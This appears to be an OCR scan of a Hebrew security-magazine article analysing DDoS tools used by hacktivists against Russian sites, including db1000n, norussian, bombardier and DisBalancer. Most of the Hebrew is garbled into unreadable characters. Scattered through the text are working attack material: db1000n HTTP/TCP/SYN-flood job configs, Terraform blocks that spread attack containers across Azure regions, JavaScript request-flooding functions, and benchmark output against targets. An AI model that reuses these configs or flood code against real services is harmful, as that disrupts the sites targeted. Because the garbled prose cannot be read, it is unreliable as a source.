NOPNNT7 N9PNN |2 AT 72INVI'R e

DI'o TV NIdNY TIX Y' OX MINN "IX1'2 NINYN NO0IN nNNAIT? ,0'9011 DYVATD 901N D'NYDT?

TNV 190N 727N IPNYT IWOXK NNW IX ND0I1 NO'PN IX? N9'PNN
:5 W nWYNY 12K 1INIX NIN'WN 7W DRIY D'AI0 4 W' Y0INIRIT ' 7uw ninnY

DX) POST IX GET a10n request NIv¥nXa http/https "X qIzn? 7'awa nTvim :HTTP nn'wn
T8 D'7'n 1000 nw nMNw 0nix .(login page 7y DoS Nopnn 7w Nj7na INd API-7 yT'n D1Yavn

:HTTP al1on nwa N'RM1 NDD

d": "GET" //GET is used to get main page information so it should 1086% when getting target,
"http://. .com” ffurl to target,
: 1 /f the less number is the more traffic is send

:DoS yx¥27 7'awa UDP 71710N91 win'y :UDP nn'wn

random_payload 1@ -}}"
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https://github.com/FiloSottile/age

D'IIN 1901 VA7 DY DYO 721 "0 7w TIipA "{{- random_payload 100 -}}"-2 n'wnnwn

.7 NMpn2a o'in 100 .7n1mn
:TCP ny 72X |1V INIX :TCP Nnn'wn
"address™: °

"interval ms":
"body”: "lasdhgk;jasngjkla;sdbngjkalnerjasndkgjbadsgjklabrgjkbsandkjgbasklebgjaskbdgaskljdgbaslhkdg”

D OTIPN 'R HTTP nn'wnn Ny nn'wnn HTTP-7 n1omw 80 01191 NAITAY NNNYY |¥7 N

07980 N2OWN 7w header n11a X7

.2-4 Layers 7¥ NITUN NX W71 INTPNN NP DX N9pNn y¥a? 0'¥nwd Packetgen nn'wn
NITY 0MN7 ,Nmiao TCP\UDP\IP\Ethernet ni7'an ni7w? ,MAC\IP\Port spoofing y¥a7 TWON
wn'7 ICMP > Layers DNINA O'9011 071710097 WIN'WN NIX 2'NINY7 DA N'YOIX NNt L'ID1 NIVPRD

:SYN flood nopnn y¥a7 nx11 DX 1wn?

"payload”: "{{ random_payload 160 }}",
"ethernet”: {
"src_mac { random_mac_addr }}",
"dst_mac": "{{ random_mac_addr }}"

“{{ local_ip }}",
“{{ random_ip }}"

“{{ random_port }}",
1
J

1
(98 J
“{{ random_port }}",

: true

FIN nopnn 7unY 1yxnaw NIXY?7 AWK "720 NXIN AT PNIVPZR9 NITY 0TIN7 NIY NIDN NN

L7227 N9'Y X7 NYNY N'ynn N2OWA NIYTIN 0'N71IY nnnaonav flood
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L Technoloqgi

N1R02 71 van XIn (9102 72N three way handshake mbd) TCP hiarn nrao 7y 7non FIN a7

:NDD 11D TNX 1'NA DI D'MYD RRX'M X71112Nn

Protocol Length Info

NINN N'XVINA YIA97 NN DY DAI0N NIVPRO XM 7¢ AW - DoS NI9PNNA NYdIN NR'dL IT
20 AT NNWN/oMpn TRINNIR TAY7 'R YT X7 RIN D71 071VNn 727" XINY 2wnN X7 NN AT

AI'NN NX

NP X'AY 'R TIiga NN 22N TIV'NI NY'oIn K7W Nn'un

DA NN'Y' QIPNT7 N'XOIXR 1000 *700 *anid DNS Blast Dwa open-source *72 NIVYXNX] :DNS nn'wn
T2 NOPNN YXA7 TWONY D'WIDIWN 11NIX ,DNS Nin'wn TIY NIRY7 117 KX X7 D DX .0"0IN DNS 'Mw

nN'Ynn ni1an
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https://github.com/sandeeprenjith/dnsblast

logger.Debug("igniting the blaster",

(“rootDomain™, config.

rallelQueries))

main, config.Pro

metrics.IncDNSBlast{config. main, "™, config.Pro

return fmt.Errorf("failed to re ve nameservers for the root domain [rootDomain=

config.RootDomain, err)

:(T%2 NI yopr) nXan NNIXa AN NINVAN 722 ,000)

{
"type": "http",
"count": 5,
"args": {
"request™: {
"method”: "GET",
"path™: "https:/Swew IEEGEGED.
}
T
{
"type": "tcp”,
"args": {
"address”: "G 0",
"body": "{{ random_payload 18 }}",
"interval_ms": 1@e
}
T
{
"type": "tcp”,
"args": {
"address”: "S-,
"body": "{{ random_payload 18 }}",
"interval_ms": l1@a
}
b

DN NNIXY NNUN 7Y 71 292 wnnwin'?i 1nxya nNun 7w config yalp 'on7 nX9IX nn''yp
WP "1 1n7wn NNun qipnY? 7'awa DB1000N-1 win'y NIWY7 071> ANXK TNX ‘721 X 17D .qI7n?
nNon oy yalz 13'>' 0"oin D'-hacktivist OX N'N'X 7Y UTN X'WA 121TA N .7701 NIROING

.open-source-n 2w 'o1' INT .0DN7Y 175N DY D'2'XZIXD DX 197701 N'Y' X ZIX

N2>) DNIX 0D1'9¥N DN |Z)'7I INXN DNV IVT' D'ONNY D'¥IN K7 D'RAPIRNY DTV Y'Y DTN 1070

.(Tiy'ma niwn ninoY
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https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
https://raw.githubusercontent.com/db1000n-coordinators/LoadTestConfig/main/config.v0.7.json
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RN NIX AR NN'YNN N NNp7Nna

{
"type": "encrypted”,
"args": |
“format": "json",
"data":

"YWd1LWWuY3I5cHRpb24ub3InL3YxCig+IHNjcnlwdCB55@Z0bVASbESLMzhweczdnckVEBMTIE]
TEWXjSBswaBtzeQoffugPkRW1d/i50fczmBaahLBZE+bdI1yD2vwhhV82D0aksGoqz /WBIjLmy
NX+wedx7btVNGzWTzCRATIId3DF75VaD69krr5805allbP1L16CQRbpbu/w3L7BRd328hdwies,
eXmip¥OM2B+B3vyG3gXaFcBafearLiT+wYktqCAph3DFpvFrdz LnQlgodlgfuwMwiillb+viaikl
Igc6ro2ZQsvescskoluQ2BQeBa3wlrk/1bhQajDAlD3jAL11EXSS v/ RE+YiBHs 3+zmWZnmsZsh
Yo@onSoelgbbxdmS1xN73raSeglDeI+74pnULRI+LOXrXyQONjSWoB3mfTdILEB+EaThEudzry:
KNX S KOt LQ4CEvvEMLWOVFd 2GCYFrY gzbnw3WdyYzuaVyEIE2ZHY zgr/ FRmi6GMTUG3SIsYAZ S
ymyhBstLegrIGGhFBQWUSEW/ rQ+PhIwtZQs1dTh1Q=="

}
¥
]
}

2nY NNN7Y NTAIN KIN R 27 DAYWY TN [N .7'y5N7 NOpNN IT'R YTI* *790 type-n NTY '9Y
|'RI tcp-7 DD 90% 7yn CWKD tep-1 http-n NIAdM NM'wnn 75 ,NI5pNN 7w 02IY 010 5 y'¥n
[122) [TV NXR'M NI¥A production ready X7 *720 D "IX .NINNKN NISPNNY ND"WN Nin'wn 7901
TCP '001an DN NAWNYT DI'MIYN D'RIPINDY D'V 0'0YI9N D "IN (Y WTIN §I10-YX¥NnX?

.(telnet ,SMTP ,FTP ,SSH nnai1)

NX D710 TUKR D'"IXN D'YIXK DIINXK 1NLVNN 7222 NA'ND v SARAPIRD NONN 'anid nio7

NIYY NNd 72 NIMDTYIENIYTN DN0NA RIXAY? NIn 72y nvnn

LINN'O DNV 7201 D'YIVY NI'RIPIR XAX7 D2ATINA N2 .WTH DX AT 2V N9 DMy Ixy? iy
7V YVAXRD N7 PNM'0AY RN ON'0N NN0Nn 72 DRD .qIpnY? DNon 17°K DN X7 DNR nwyn?
NP MK ?0'7IN "M 7Y NIMYN7 Yana nn 72X '70772 nimwnn NIMyn2a N2meyd pTnn
N> JSON vNIID NNLVN 7NYW 7X717 jobs yYaIP'7 INIXK NN9NTI CLI-N NIY¥NAKRA 790 71VON7 N'NOIN
7901 "NI' TIVI) DNXYA DTN [1'0N DX 1YWY D'YNNYNN 21 770 DX 7902 11NIX 72K DTI7n 'Y

(QIn X0 NNIRY IP-0 N2INd ' 7w 'an? 7\awa reverse DNS lookup Niwy7 1nar 7 yana

#7250 7w '0P9 NINM7 AITN
N2V 1172 T .qIPNY7 7'awa Y750 wnnwn [N NI9PNNN 10 72 117 D'MIYAY DXV IT N'7'N JIN1 :core

JIN'YNN NINKN NI7YI9N NIYWDIN DK WIA91 NYD 72X DT NXpP2
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N (2TYNN? 19X) N TV NI9ENNN

S7mpna queries 7w NaNN AN'7w Nivynxa DNS ‘MY 7V nomyn YWR nopnn - DNS blast
7w 7700 .TLS a2 7y TCP DNS nai UDP IX\I TCP '0olan DNS NIN7'R¥ ynn7 7aion '2on
.0"7 open-source V!N 0'02 7V N1 *721 ITN NOPZNNAN

AWK HTTP 21710092 NWUATA '97 DRNIN [DIXA YT NNIAYN NN'Y7Y NMYORNN NOPNN - HTTP
NILVN2 X1 ,TNIMA DONINN DOS X7 .ANK IX N1 end-point 7v 0myn7? X'n nnaon 75
NN7¥N 170 X7 NIDPNNN INYI NNPN2 N0 NIIAYN 1D NIRYNY

217101ND2 OXNIN 91X YT NIIAYN NNY7Y NMYWORNN N'ON7j? syn-flood Nojnn - Packetgen

D212 190N 17V 12D D7 N'NY source-open *7a1n NP7aw module-2 NIt nwynY .tep/udp

NINW NTAIYN QY "2IX .20 T2 RPnT NN YT 127 102 X7, NIRTN NIRY0N0YIRIE ANV 7T
7w headers nma7t w1 pn MAC\IP\Port NIamd> nnw?i Nian |Ny7 o1 woNn
1222 72T VIYD D NI (DY M7 IN'92 scapy-7 NnITA) OSI 7TINA 2-4 NIdWA DIRIVIND
NIy¥NXd DDoS-Guard 7w Nan |11 qipy? Wwornw YAML-Q nn'wn onlio? (71'7) n7ivn

VTN 7Y 21T TIRA 01N
N2N21 DB100ON- |11 KIN Nj7'vi 7Tann .7190 N7'NNn2 7" nopnnn 7y n0'o - Slowloris

(Imm92a X71) Go-2 KIN DAY TNK source-open 721 AT 7T NX IN?7 DN TX ,Go-2

q¥j7 X7 AT 12D D'z D-open-source DYOPMINON INR'7A NO'PNN A0 NN D NIKAT7 DYDY 1IX

UTNN 72720 DR X'¥NN7 D20 'R, TINN 'M'0'A%7 "0 (0179 D'Mv)

MNNR QIPY? INNVNAY YAl KN metrics.go YaIR ,7wn? .07 ni7d' YW nanan n'7on utils n'p'n

templates n'"w7'n ba ny! .Prometheus nivyxnxa n2Iv nwixa 7w nipon TN wNNnn

XIN DY 1'RY TAND 77M .NIRP00'0LO 7TIMI NI9XNN 1'7NN 7V 'KINKY 77N ,'701 0IW D7TINYG

2220 Y1 NN DTN PN DR PTRY 7Timn

NTNAI Y RID NPT TR NPRPI7 NNIXa Y127 7100 o0 https://api.myip.com/-7 n'19 Niyyxnxa

TIV'N7 v oy) VPN-2 wnnwn? y*onni )3 72y ynn Xin 'oinn blacklist-2 nX¥Niw n1*Tna Nl

NID TY'N 7017 D NRN2D 72X NI 17RWN DX N 090 (VPN providers 7y nr¥*7nn on 12 "0 7w

2220 NIMN'% 210 1'YY X' 90dN N'OD TX 'A171100 NIND 7nj?

nc CheckCountry(countriesToAvoid []string) {
type IPInfo struct {

Country string " json:"country"’

ipCheckerURI := "https://api.myip.com/"

resp, err := http.Get(ipCheckerURI)
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https://github.com/sandeeprenjith/dnsblast
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/bilalcaliskan/syn-flood
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://github.com/valyala/goloris
https://api.myip.com/

or _, country :=

f ipInfo.

log.Printf("Current country: %s. You might need to enable VPN.", ipInfo.Country)

openBrowser("https://arriven.github.io/db10@en/vpn/")

log.Printf("Current country: %s", ipInfo.Country)

[1DTY 7w N7 q'oIn? NT'NYY over the air updates 7y N'RAINKY OTA N"P'N DA NN 90112
[" TV YN YXNAKY7 121 .010INY restart A7 IN\I Push-based 011571y Ix\I AT 0'02 7V '0NIVIX NINONA

.DMIYRIY commits N9'VI todo-1 121N

NN X7 DD TV P01 TN 7D IR DNIAN DN ,NYYNYT (117 NIRWIY DINNKRD DY2'NN .runner NN
NX 7NNNY7 AT 1INV 72w gorunner. YAl PIY AN J2"IN AN DN0N DX DA 207 Jaion
YNN7 IMLUNY runner 7¢ N1aNN DRI DAXD [NIX (Jobs) Nin'wnn DX N7I? KIn 10 config-n n1an
NIX 9IONK7 'NOINKY N7 DA XIN .core N'"Z'NA NIN'PY NRIYA NIDPNNN NIYXAX] NIN'wnNn DX

TIV'n 5':1213.]1I]IE}T\]1Iﬂ'1l3!]ﬂ
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https://github.com/Arriven/db1000n/blob/main/src/runner/runner.go

= "bomblet_we"™ {

source =

bomblet_count

region

CEe_group_name

attack commands

e "bomblet_cc™ {

. fbomblet"

Ce_group_name

attack commands

e "bomblet_uae"
= "./bomblet"

bomblet_count

E_group_name

attack commands

"Mumber of containers per region.™

"The default prefix for resources.”

"./bomblet"

Technologic

NIDINX NNKX NUITZAIX DN D'NN

-1 WIN'YUN NN DTN 11027, NYAIN 0'N9Y7 INTN DY DMINNA 0'NNIM 1901Y DTV ,DINKD
7v wn) Azure 7w 7700 7y 0191 NNIY Y NIMWUNY? deployment y¥a% 71awa Terraform

DMITR 6-1 container instances DMXI'Y NIXI? WWOX .NTI7IN DX wNnnY? 77awa (Microsoft

AN NANN nOPNNY farm NIx'? 72w 0nIY (regions)

bomblet_count
esteurope”
var .prefix
roup.main.name

ommands

- .bomblet count

anadacentral™

r.prefix
urerm_resource_group.main.name

var.attack_commands

var .bomblet_count

"uaencrth”

urerm_resource_group.main. name

var.attack_commands

n'xXomipImm 197 ANMNOW -¢ 72T OV 720 DX D'¥INIITX 722 TNX instance DMXI' N'0719'T WD

220 219777 N1 .N9'PNT7 NIKIINND DY TNV 722 NIX JIYN7 ZNNN DY DT'RN 0% DM 01w

J'nOnn oY TIXN DX D'XNN7I NIV NIXa

/db18@en- coordinat

g additional f

s/LoadTestConfig/main/config.json"]

www.DigitalWhisper.co.il
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J1IN'Y NOPNNN 7TIA DX AN 7AW ITX 700 D17 qIok? [N

* Logs from North Europe region:

az container logs --resource-group attack-rg --name attack-northeurope-81 --container-name main

YT WAT TV, T¥N 72X Azure 7¢ N'MIWUN NIYYNANRA N9PNN 7@ 21T7a ' T scale-2 1aImn , TNR Tyn
XN IT 200 7V 07w |amdI Terraform 0T Azure provider 7'awa N2'20N NX 291177 7'awa 11DV
-7 DW'N7 'R Q%Y DR Q%Y wnn) NRNNY )T DA 017 710 09MIRON DY T2 TA VI NA'oN
D NAY NN AT N9PNNN DX YN 0N Y70 DX TINY ,VM W Instance D'n'7, Azure portal
.ON™Y NyNn NNY7 0'DMY D'RIPIRNY YT DNWONN 270 17X 97TV NIND N1 cost effective n1*nan

J12271n N7'0i79 It 17017 nYIANN NAXNN

D'7> 07D 0'd

.012702 NIXIAP'?I'RIPIRD JNONT DT NK IXXAY 0'9011 0'75 190N 'K NNN7AN NINTPNN DY
NIX qUYY 2720 73 7722 DisBalancer n1an 7w Liberator XIN 1127 NNIWN DX |WUNY '1O00 70
INONA 1Y'DINY N9'PNN 72 INYT NNAN DX N 2NPN 71927191 7192 17W 119'0N 2u1 117y 2N
PN 07201 7'NN1 .2NPN 192 117701 DN D7D 72 IR NINXIXPA A'¥N7 DA1DNA NNIX RIPIRD

.DMdNIMN NN 0'737 11aval 01o'oa

A'¥N7 72Wa DTINY 1900 1WTTRN 'RIZIRD nona (Alphal955Coder nkn DDOS KIN [IWRIN "790

27w wnn) TOR [9T9T T IXIN7 T¥'DI ANKL'AQ repo-nNn TIZn DX TINYT TXD - IR NNIX NIX
NIN "20N 7"10 NpPna 7aX VYN X7 DTN VOYNN NN 1NNAKR MDY NTIAYY? D'WYTIN 1INIX .(A7W NNR

."'0"7'n 1000 niw nMnN" 7¥ 'oX77 npEn Nnxa

NI'NIPIN 72 XN NN NWIA N9HNIENIMIIIER 7T - 0N NIX 91N7 172N TXA
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https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs
https://arriven.github.io/db1000n/azure/
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
https://github.com/Coder1955Alpha/DDoS
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9TOTN T NIRRT 720 MK D'NNISWD

DDoS Russia

/DDoS/ddos.html

DDoS against select Russian targets

Target list updated 03/08/2022 18:276 UTC and contains targets.

Dlease allow popups for this file. This 1s the control file. In order to stop
generating popups, kill this TAB, then you can close the others.

| 5 = | Open how many tabs?

|10 - |Recyc1e window after how many seconds? TOR
browser set to 30

| start |

| Stop all | **Not functioning yet**

This 15 a quick and easy script that anyone can run 1n a browser window. The
targets are preselected (you can view them).

NnNounN Yanpm n'axov X'7n NNID VIYSY 'VVO HTML QT2 71T - nY1y 1250 NN NIVYDL NINT? TWONR

(178 0'Wa0"7 122) TOR-2 TaIy 702 KINW D'NIVA K7 NNIX 7NNK'T .WRIN 1TAIN

- 17% 72% 1% 0%
MName Status CPU Memory Disk Network
> WAk Task Manager 14% 343 MB 0 MB/s 0 Mbps
’ @ Tor Browser (3) 0.2% 220.5 MB 0 MB/s 0 Mbps

NAY NIVTIN R'M IX9p? I7IOZ]I|71I DY9 721 TNX ANV 7 NNO XIN,NKX [9TOTA INIXK 11)7TAWD

Uncaught TypeError: newWindow is null
closepnLoad
setTimeout handler*closeOnLoad
openURLs
onclick

[Learn

Uncaught TypeError: newWindow is null
closepnLoad
setTimeout handler*closeOnLoad
openURLs
onclick

[Learn

Uncaught TypeError: newWindow is null
clnsennl aad

NI'NIPIN 72 XN NN NWIA NQHNIENINIIIER 7T - 0N NIX 91N7 172N TXA
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DN NIT ONIX DNYRN K7W TY D71 pop-ups IWONR7 NIRYIN 737 |'NY 12Non pnwn NXp INX7?

:omion

Pop-ups blocked:

https: L.ru
https:
https:

cross-platform N¥M7 NION"NA |'XI 7T NNIY 190101 207M ™2901 Wpnn Tig 7Y nxpa nnay
11207 MK KIN - MIYKRIN DXINN NKY? \a X7 VIYD DY N'N ND0N D'V .0D1IY D19TOTA
XY UIWO KIN INND9) 1XYW YA DR w1 |'RY |1I'ON X D'NINDY D'-tab-n NX N'VNIVIX
function closeOnLoad(myLink)
i's
L
* newWindow = window.open(myLink);
setTimeout(
function()
I
1
newWindow.close();
openAnother();
}s

windowlivesec

)=

function openAnother(){
datalndex++;
if (datalndex == datalength) {
datalndex = 0;

1
s
closeOnLoad(dataobj.url[datalndex]);

, a

22 Inn 4 17 TR "PRAPIRD )NoN2a 107NN VI 117 1T NNXA ."22IN TIKA TI7a 12 3'no

(1) Jnonn rTmy

NINIPIR 72 XD NN NI N9HNINIMNIIAR 77TA - 20N NN 91M7 172 1Y)
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D filey//C:/Users/ ftools/norussian/norussian.html

. . 35 Devools now follow the overall Firefox theme. You can revert to Light or Dark theme in
Russia MUST BE STOPPED! Help Ukraine WIN! ST e

URL Number of Requests Number of Errors
hitp /D 1016 0
https: QR 16 0
https/ QU 16 0
https:/ QU 16 0
http:/ R 16 0
T 16 0

T NN TR 7V NN¥ZA 75101 TN nvina NIXa Tay 7" 700 DAL mpow 0TIpn Y0h nnim

NIMP'Y NP 2-n NAIN 790 N2 T XD 'R fany

inction flood(target) {
» (var i = 0;; ++i) {
if (queue.length > CONCURRENCY LIMIT) {

queue.shift()

rand = 1 % 3 === 2 ' : ('2' + Math.random() * 1000)
queue.push(

fetchWithTimeout(target+rand, { timeout: 1000 })

.catch((error) => {

(error.code = 20

‘eturn;
}
targets[target].number_of_errored_responses++;

1)

.then((response) => {
if (response && !response.ok) {

targets[target].number_of_errored_responses++;

1
J

targets[target].number_of requests++;

CONCURRENCY_LIMIT = 1000

queue = []

function fetchWithTimeout(resource, options) {

t controller = new AbortController();

t id = setTimeout(() => controller.abort(), options.timeout);
»turn fetch(resource, {
method: 'GET’,
mode: ‘no-cors’,

signal: controller.signal
}) -then((response) => {

clearTimeout(id);

Irn response;

}) .catch((error) => {

clearTimeout(id);

throw error;
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https: / /fuckyvourussianwarship.netlifv.app
https://ddosmonitor.pp.ua/
http://www.notwar.ho.ua/
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A This site is suspended
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p=://ddosmonitor.pp.ua

Internal Server Error

.
@ An environment could not be found via the specified host (custom domain name).

Recemmendations: .

In order to properly attach a custorn domain name to the environment without public IP addresses (i.e.
DNS record points to the Jelastic environment name via CNAME or ANAME), you need to bind the
appropriate domain name. It is necessary for the Shared Load Balancers to correctly route traffic to the
target environment.

:TAIYY XN 3-0 NKRN

|t Vipaivicixa sepcin

RUSSIA MUST BE STOPPED! Join IT ARMY of Ukraine

!I! With this tab open and active in your internet browser, your device is visiting tens of websites in Russia that are critical for the war effort. !!!

STOP RUSSIAN INVASION IN UKRAINE! JOIN FORCES WITH THOUSANDS OF PEOPLE AROUND THE WORLD TO STAND WITH UKRAINIANSI

NIYXNKXY ,NXRT DY .1NUN DX AYIY ANXRAY AR Xy it NKX7? XOIp? [9TOTNY NRMY nnnY

.OTIj7N 1212¥N 12DV 7'N1 12N NAITA NYWYNY D NIRY? NNy "[9T19T" 770Wnn "N vin'y

NI'NIPIN 72 XN NN NWIA N9HNIENIMIIIER 7T - 0N NIX 91N7 172N TXA
www.DigitalWhisper.co.il
117 2022 '1"9x ,138 |I'"1A




221N 007 RN (19 TOTA PN TIPN NP7AW) Xan TIpn Yo "IN

flood{target) {
( i=0;; ++i) {
(queue.length > CONCURRENCY LIMIT) {
queue.shift()
}
rand = i ¥ 3 ==8 2 "' : {"?" + Math.random{} * 1888)
gueue. push(
fetchWithTimeout(target+rand, { timeout: 1888 })
.catch{(error) => {
(error.code === 28 Y {

. )

argets[target].number_of _errored_responsesit;
1)
.then({response) =»> {
(response && !response.ck) {
targets[target] .number of_errored_re

argets[target].number_of requests++;

NN DWTI' 12D DNKX 0TI DTNy 3 197 wnn 11j7ow d3V4pR3D NN norussian 721 721 ,Yep

"7V DnawIn nNIX
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oy TN cloudflare-scrape Nn*M%02 wiM'y nwivn N2IN'9 na*? 2y ooann Xin .Cloudflare 7w
D'0IYD JS MANK redirects 'Tiny ,RECAPTCHA yix'a) DoS 'wam nmanx 11y 7:awa BeautifulSoup
0" .Cloudflare 7w n1an 112210 'K NT'N2 DA DoS Y¥A7 72w TIpn NX YNIN'? AWOKX D oW (DI
[I'7'0 W' :AR'NYN DY LTIPN DR O INIYYNANRAL proxies-7 1ANNNY 7'awa node ooian Ty

.J'an X7 071vnn 90%-v NowA TW'NNY 01212 TN N7 D, TIPN 7Y N''70'82 1NN

220 "IN TR .D'N7¥IN K7 D707 MWRY NN 751 DU 1901 haters 1INIXY DNIAN 12D TX 210

...1122NX NIND DN INIXK NWYN7 K7W INT TN ?9¥71N0 DX JIAY' 'NDIN

(INNX 1>TYn p1w 3) W' "1 dependencias hell-a a1 7D n'wra
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DEPRECATION WARNING
Node.js 11.x is no longer actively supported!
You will not receive security or critical stability updates for this version.
You should migrate to a supported version of Node.js as soon as possible.

Use the installation script that corresponds to the version of Node.js you
wish to install. e.g.

um”™ {recommended)

Please see https://github.com/nodejs/Release for details about which
version may be appropriate for you.

The NodeSource Node.js distributions repository contains

information both about supported versions of Node.js and supported Linux

distributions. To learn more about usage, see the repository:
https://github.com/nodesource/distributions

added 63 packages, and audited 64 packages in 29s

vulnerabilities (4 moderate, 1 . &l
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:out of the box
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;1N0N NWADYW D700 NIX TNI'MA 122N X7 ND TV .codesenberg XN bombardier XN 'y'21n "D
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.0"NIynvn 0'axaa I]'7|7]'\]
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nIN1 7V 21 YT 190101 TTIA '01N0IR DY 7V N9 NI'NWON 7w 190N v'¥n Xin .DOS-7 oMyl
XIN 12NN NINSYW NN .01 D'7RP17 D'01ID 7w 21 19011 D119 NYNXINN 19PN VA .N9'PNN
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Desktop\tools>
/www " :443 for 10s using 40O connect

Statistics Avg Stdev
Reqs/sec 15.98 63.16
Latency 10.14s 4.74s
Latency Distribution
50% 10.09s
75% 15.22s
20% 15.3@s
95% 15.32s
99% 17.53s
HTTP codes:
Ixx - 0, 2xx - @, 3xx — 0, Uxx - @, 5xx — @
others - 561
Errors:
dial tep :ul43: connectex: No connection could be made because the target machine actively refused it. -
476
dial tep :Ul43: connectex: A connection attempt failed because the connected party did not properly resp
ond after a period of time, or established connection failed because connected host has failed to respond - 77
the server closed connection before returning the first response byte. Make sure the server returns 'Connection: clo
se' response header before closing the connection - 8
Throughput : 9.19KB/s

ANWI NIWN ,N27N2 NI 09 ANNA NPTN N9PNN NYXIAW NINNY 271 D'MIvNWN 7Th QWn NN
N¥{7 AWNN N'N NAITAY AWNNNA (U K7 1900 ,n™Mw 7' 30-2 N latency-n AT ,pw nn Ay

;7272 TNN

PS C:\Users\. \Desktop\tools> .\bombardier.exe https://www
Bombarding https://www 443 for 10s using 400 connec
[

Statistics Stdev Max
Reqs/sec 5750.61 1281.51 17184.13
Latency 69.20ms 26.18ms 677.66ms
Latency Distribution

50% .9dms

75% .80ms

90% .55ms
95% .39ms
99% .71lms
HTTP codes:
Ixx = @, 2xx = @, 3xx - 57977, Uxx - @, 5xx - @
others - @
Throughput: 2.07MB/s
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Throughput: 27.23MB/s
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slowloris by gkbrk

Death by 1000 needles

DDOS by Coder1955A

norussian by D3pR4V3d

3 websites (1 works)

CloudAttack by yottaiqg

N o U s~ w N

bombardier by codesenberg
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disBalancher
launches
LIBERATOR

far Windows, Mac 0S5, Linux

.Decentralized Stress Testing NNVN? 2> NN12 IT N1aN .DisBalancer Dwa N1V NNaN AN'N NN
ANUN NX DINTY? D21 "0 NNaNY? subscribe y¥a? 710' p'wnnwn - "yn MINKA TAYY |I'VIn
,0IUD ?N111DN NN .DI7YN NN NRINENITIAN NI DNNXR NN "qipn?" 72wl onw nnpnn
-y yavn) USDT/DDOS Dwa 109 Yyavn NIY¥XNXA DiYwn 731 botnet-7 qavxn anx

.YN'7 '7Tan 7w (121 11001 DPARWA 71X 7w QXTI TIA .DWAY 17 nninnin 19 (1NX* DisBalancer
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https://github.com/gkbrk/slowloris
https://github.com/Arriven/db1000n/
https://github.com/Coder1955Alpha/DDoS
https://github.com/D3pR4V3d/norussian
https://github.com/yottaiq/CloudAttack
https://github.com/codesenberg/bombardier
https://www.gate.io/trade/DDOS_USDT
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NNND 17 NIFRTDY 0101 X7 N *yn 07NN POV [I'VD

NN2YI PRV "YaY MY 77 DX 7'WON7I pnwn? 012'n7 nj7'o0n DisBalancer ,nnn'7nn N7'nn T8N
YoNn 727 D1'N2 *700 7W DTN DNWOKRNI 001N DMWY stress test NY¥an X'A NYD .0ITRY? 7INdN
-1 DMPMN NNANN 'MYNY NTaIYl AWNNN1 'OXIS DY .Liberator 7x N1Iv *750 bW ,0XNN2 P2
DisBalancer 'mawn NINLVN NN'WI WIN '200 ,N¥INI NTIN "NRI cross-platform Xin Liberator .kyiv
D'RIPIND 7Y DTX? TIY7 DYDY 17X 2% 0IWSI YN L9 L(|[nn YIT X7 D'UNNwn Ima 1Y)

(VT IN) ynxn Dina'na

'WNNYN? 'R ,NIDN 1210 NOPNA VI 7¢ NI'udwnn NId7wNT qonawv 730 oy n1p'vn n'van
X7 7702 Dnw NI 700, VTr M .wim'wn MINKRNA 0'RANNA "Dy T 1R NYT? 0T 7D D0
close source .|7in NTay N7NNNA DisBalancer-w 'w'7w Tx NINAN [NIX X X7X NI'ON NINVN D'9F7IN

JON'P

DY )'YNl DX .N7'7¥2 N1I9N W' 72X 119'0N DY [XD 1IXYIY D'9¥N DN'N NV NYYNY?I N9 210 790

D mwn" 27'wen nron L, (D'DMYN TIXA DNRY D'NIVAY NNIRY) PRV 7Y D7D

X' NYYN71 01DV NIND DN D'MNIDNI DA70N NIXIAP AN DA LN TV [AN? NN NaY 19D
NX11D) DMPRN DNIX .NINY NIATI INOY DNPRD NINNYT 10101 [XD .0N7 NN'Y 12T 7D vynd
NN 11'y 72N DisBalancer 7¢ "Dn NN DI2702 NI'RIPIN D NIXIAPZA 1N01D (DMOIN D'UOMVPRN

"Phoenix" Dw2A NITT N12IM NN 11N '77202'K 770 DYDY Va7 NIoNAY D 17w "IK1aN

Disbalancer.zip
1.2 MB

Haragyemo npo nporpaMy A5 aTaku Ha pocicbKi canTu! BoHa
aBTOMaTU4YHO OTPUMYE LiNi ANa ataku 3 cepsepa. Maponb ansa
apxiBy: DISBALANCER

HanomMuHaeM o NnporpamMmme g5 ataku Ha poccuiickme camTbl!
OHa aBTOMaTUYeCKM Nnosy4vaeT Lenm ons ataku ¢ cepsepa.
Maponb ANna apxmea: DISBALANCER

We are glad to remind you about the software we use to attack
Russian sites! It will automatically fetch the attack targets from
the server.

The password for the archive is DISBALANCER 46K ® 01:52 PM

NI'NIPIN 72 XN NN NWIA N9HNIENIMIIIER 7T - 0N NIX 91N7 172N TXA
www.DigitalWhisper.co.il
122 2022 '1"9x ,138 |I'"1A




Technologic

TINXN] R'N N2 MIDNY? keylogging nwiy 71maaw MaaS (malware as a service) IxIm X'n Phoenix
.(142.46.35. -95 port 6666) N'0IN NAIMD2A 1AITA 'N2IIN NPNA NPNINNA NANDY YT'NRN DX DN7IYI
-0 NIX N7WONn PN NKRY 711 MdNa D-anti-debug WNK7 NP0 Nwx¥an npTin ,NN7won yaia
yTIn 7nn XOKT QI0XK7 N712'1 AT N'72an X477 80$ IX wTINY 155 7w D120 N1dN) npTin .payload
